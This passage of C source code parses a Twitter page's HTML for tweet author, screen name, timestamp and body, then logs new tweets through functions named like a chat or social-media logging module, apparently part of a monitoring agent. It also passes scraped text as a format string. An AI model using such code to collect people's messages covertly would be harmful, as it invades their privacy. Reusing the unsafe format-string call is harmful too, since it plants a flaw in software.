		parser1 += strlen(TWITTER_TWEET_AUTHOR_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_author, sizeof(tweet_author), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet author: %S\n", __FUNCTION__, tweet_author);
#endif

		parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet screen_name: %S\n", __FUNCTION__, screen_name);
#endif

		/* 3] timestamp
			e.g.  data-time="1414392201"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_TIMESTAMP_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_TIMESTAMP_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_timestamp, sizeof(tweet_timestamp), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

				
#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet time stamp: %S\n", __FUNCTION__, tweet_timestamp);
#endif


		/* 4] tweet body: 
		   e.g. <p class="js-tweet-text tweet-text" lang="en" data-aria-label-part="0">BODY</p>
		   a) find start of <p>, and then reach the end of <p>
		   b) find </p>
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_START);
		if( !parser1 )
			break;

		parser1 = strchr(parser1, '>');
		if( !parser1 )
			break;

		parser1 += 1;
		parser2 = strstr(parser1, TWITTER_TWEET_END);

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_body, sizeof(tweet_body), _TRUNCATE, "%s", parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet body: %S\n", __FUNCTION__, tweet_body);
#endif


		/* if the tweet is new save it , discard otherwise */
		if (!atoi(tweet_timestamp))
			continue;
		
		sscanf_s(tweet_timestamp, "%llu", &act_tstamp);
		
		if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo)
			continue;

		/* should hold true only for the first tweet in the batch */
		if( act_tstamp.LowPart > dwHigherBatchTimestamp )
			dwHigherBatchTimestamp = act_tstamp.LowPart; 

		_gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
		tstamp.tm_year += 1900;
		tstamp.tm_mon++;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - logging: @%S -> %S : %llu\n", __FUNCTION__, screen_name, tweet_body, tstamp);
#endif
		SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, "", "", screen_name, "", tweet_body, &tstamp, FALSE);
	
	}


	SocialSetLastTimestamp(user, dwHigherBatchTimestamp, 0);

	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}